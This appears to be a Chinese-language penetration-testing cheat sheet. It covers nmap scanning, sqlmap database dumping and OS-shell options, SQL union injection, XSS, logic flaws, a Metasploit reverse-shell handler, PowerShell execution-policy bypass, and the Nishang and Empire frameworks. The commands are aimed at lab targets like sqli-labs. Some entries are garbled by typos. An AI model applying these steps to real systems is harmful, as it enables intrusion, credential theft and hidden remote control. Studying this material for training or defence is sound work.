1. Nmap的基本
Nmap + ip 6+ ip
Nmap -A 开启操作系统识别和版本识别功能
– T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现
-v 显示信息的级别,-vv显示更详细的信息
192.168.1.1/24 扫描C段 192.168.11 -254 =上
nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中)
--------------- 192.168.1.1/24 --exclude 192.168.1.100 (排除在外的目标 .100)
--------------- -----------------excludefile ~/targets.txt
nmap 192.168.1.1 -p 80.443 网站 是否在这个端口部署网站
nmap –traceroute 192.168.1.1 探测路由
nmap -O 192.168.1.1 对目标进行指纹识别
nmap -sV ---------- 对版本进行探测
nmap -sF -T4 192.168.1.1 利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 后者 fileter状态。 (利用三次握手,可以绕开防火墙)
nmap –script=auth+ip 处理鉴权证书的脚本,也可以作为检测部分应用弱口令
-----------=brute+ip 暴力破解
nmap -min-rate 10000 -p- 192.168.
nmap -sU-min-rate 10000 -p- 192.168.
nmap -sT -sV -O -p端口 192.168.
nmap --script=vuln -p端口 192.168.
2.sqlmap简介
是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。
安装sqlmap前,需要先安装Python3.X
Python Releases for Windows |
在环境变量path中,增加python3.x 安装路径下载sqlmap并解压缩:
地址:sqlmap: automatic SQL injection and database takeover tool
Python sqlmap.py -u http://xxx.xxx.xxx/
Python sqlmap.py –help 查看帮助 borp
2.sqlmap 常用命令参数
-u /--url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”
-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt
-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….
--dbs 返回当前连接的数据库
--current-db 返回当前网站数据库的数据库用户
-D 指定数据库系统的数据库名
--tables 列举数据库表
-T 指定数据库表名
--columns 列举数据库表中的字段
-C 指定数据库表中的字段名
--dump 获取整个表的数据
设置回显等级
参数: -v默认为1
0 只显示python错误以及严重的信息
1 基本信息和警告信息
2 debug信息
3 注入的payload
(级别越高显示信息越多)
--data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。
--cookie (用于区分用户)
可能会有漏洞,当web登录时,抓取数据包。
设定探测等级
--level
共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到
--users 列数据库管理用户
--current-user 在数据库中,目前连接的用户
--is-dba 判断当前是否为管理,是的话返回true
--proxy 指定一个代理服务器 eg: -proxy http://xxxxxx.8080
--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限
Sqlmap“六步”
第一步:判断是否注是注入点
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”
检测该网站是否存在漏洞 白色加粗字体为注入点 也就是攻击对象
第二步:获取数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs
第三步:查看当前应用程序所用数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --current-db
四:列出指定数据库的所有表
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables
五:读取指定表中的字段名称
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms
六:读取指定字段内容
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump(dump=下载,脱库)
判断当前数据库用户权限:
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba
如果是TRUE ,那么权限该用户很大。
-roles 列出数据库管理员角色
-referer HTTPReferer头
当-level参数设定为3或3以上时
-sql-shell 运行自定义的sql语句
运行任意操作系统命令:
--os-cmd=whoami
--os-shell
(以你的电脑为跳板,对局域网进行渗透,或留后门)
--file-read 从数据库服务器中读取文件 :当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
上传文件到数据库服务器中:
--file-write
--file-dest
读取指定数据库用户的密码 --passwords -U root
SQLMAP进阶 常用tamper脚本
apostrophemask.py 将引号替换为utf-8,用于过滤单引号 (易容术)
multiplespaces.py 围绕sql关键字添加多个空格 去绕过
3. Burp Suite工具
一.配置及代理设置
1.使用前配置
①选择代理Proxy选项卡
②选择设置option选项卡
③Edit Running打勾 124.0.0.1:8080
模块介绍
send to spider 发送给爬虫模块
do a active scan 进行一次主动扫描
send to intruder 发送给爆破模块
send to repearter 发送给重放模块
send to comparer 发送给比对模块
send to decoder 发送给解码模块
request in browser 将请求在浏览器重放
四:
mysql知识点- 基本查询语句
查询表中全部信息: select *from 表明
-关键的函数
select+以下语句
version() 数据库版本
database() 数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
-order by(排序) 语法
-联合查询
order by 1—
order by 2—确定字段数
使用UNION操作符注入另外一个select查询,并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据
注意: 相同的列结构
需要有知道表结构,列结构
exists()函数猜解表明
information_schema 是一个mysql系统自带的元数据库
information_schema.SCHEMATA 查看所有的数据库
五、 XSS基础
1、什么是XSS?
中文名为跨站脚本攻击,跨站脚本,(Cross-Site Scripting, XSS),当目标网站用户在渲染HTML文档的过程中,出现非预期的脚本指令并执行时,XSS就发生了。
2、攻击者给予应用恶意XSS代码,导致用户访问应用或服务器时执行代码,导致被XSS攻击。
攻击者→服务器→用户
3、XSS的危害: 1.网络钓鱼,包括盗取各类用户的账号
2.窃取用户cookies资料,从而获取用户信息。
3.获取客户端信息,IP/端口等
4.劫持用户浏览器会话,从而执行任意操作
5.强制弹出窗口。
6.网页挂马,进行恶意操作
7.进行大量的客户端攻击 如DDoS攻击
8.控制受害者机器向其他客户端攻击
4、XSS分类
①反射型 :非持久型,调取用户cookie或者进行钓鱼,常常为通过引诱用户点击一个恶意链接来实施攻击。
②存储型 :渗透 挂马 蠕虫病毒 出现在网站的留言、评论、日志等交互处,被存储在数据库或者客户端中,等再次浏览时受到攻击。
③dom型: 将XSS代码嵌入dom文档(每一个网页),通过JS脚本对文档对象进行编辑从而修改页面元素,增加漏洞。
5、
逻辑漏洞
(1)
水平越权垂直越权
(2)
①支付订单:在支付订单时,可以篡改价格为任意金额:或者可以篡改运费或其他费用为负数,导致总金额降低。
②越权访问:通过越权漏洞访问他人信息或者操纵他人账号
③重置密码:比如利用session覆盖重置密码、短信验证码直接在返回的数据包中等。
④竞争条件:例如:你有10元,C为6元 B为5元,使用多线程同时发送购买商品B和C的请求,会出现 1 购买失败 2 购买成功 余额 4元 3 购买成功 余额-1元
二、Metasploit漏洞利用
利用木马的msf代码 use exploit/multi/handler
注意:Using configured --- …. ----的IP要与你的一致
set --- windows/meterpreter/reverse_tcp
show options
修改完所有应该改写的东西后就可以run了。
显示:*Start reverse TCP handler……就证明正在监听此木马了 ,等待使用者使用就可以运行了。
Windows应该收集什么?
1、ipconfig网络 2、进程(杀毒软件,办公机还是家用机) 3、systeminfo 查看补丁,寻找漏洞,以达到提权的目的 4、netstat查看所有建立的网络 5、查看网卡信息
6、主机密码
迁移进程 注入
Windows:tasklist Linux:ps 查看进程的命令
Getuid
migrate (端口号)
PowerShell技术
第一种:我们需要获得免杀或更好的隐蔽攻击给对方的win机器,可以通过钓鱼等方式直接执行命令。
第二种:我们已经得到了对方网络,或者一台DMZ的win机器。
常用的工具
PowerSloit
Nishang
Empire
PowerCat
Powershell命令
Get-host查询版本
Get-executionpolicy 查询权限
Set-executionpolicy 修改权限
Get-process note*|stop-process
Execvtionpolicy bypass (-exec bypass) 绕过执行安全策略
WindowStyle hidden(-w hidden) 隐藏窗口
PowerSploit简介
是一款基于powershell的后渗透框架软件,包含了很多powershell的攻击脚本,主要用于渗透操作。
Nishang
Nishang在powershell可以在3.0以上环境中可以正常使用,搭建方式与PowerSploit一样。
一、基于TCP协议的Powershell交互式Shell
Nishang可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型Shell
Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。
参数介绍:
-IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址
-Port <Int32> 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。
-Reverse [<SwitchParameter>] 反向连接
-Bind [<SwitchParameter>] 正向连接
Empire简介
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。
Empire运行在linux平台上
官方下载地址,需要Python 2.6/2.7环境:/EmpireProject/Empire
git clone /EmpireProject/Empire.git
然后安装Empire的依赖,命令如下
cd Empire
cd setup
pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)
./install.sh
在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:
cd ..
./empire
若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。
如果遇到
可以将urllib3版本降级
pip install urllib3==1.22
重新设定
bash reset.sh
Empire
一、设置监听
Empire和Metasploit的使用原理一样,都是需要先设置一个监听,接着生成一个木马,然后在目标主机上运行该木马,我们的监听就会连接上反弹回来的会话。
设置监听步骤如下:
listeners #进入监听线程界面
uselistener #设置监听模式
info #查看具体参数设置
set #设置相应参数
execute #开始监听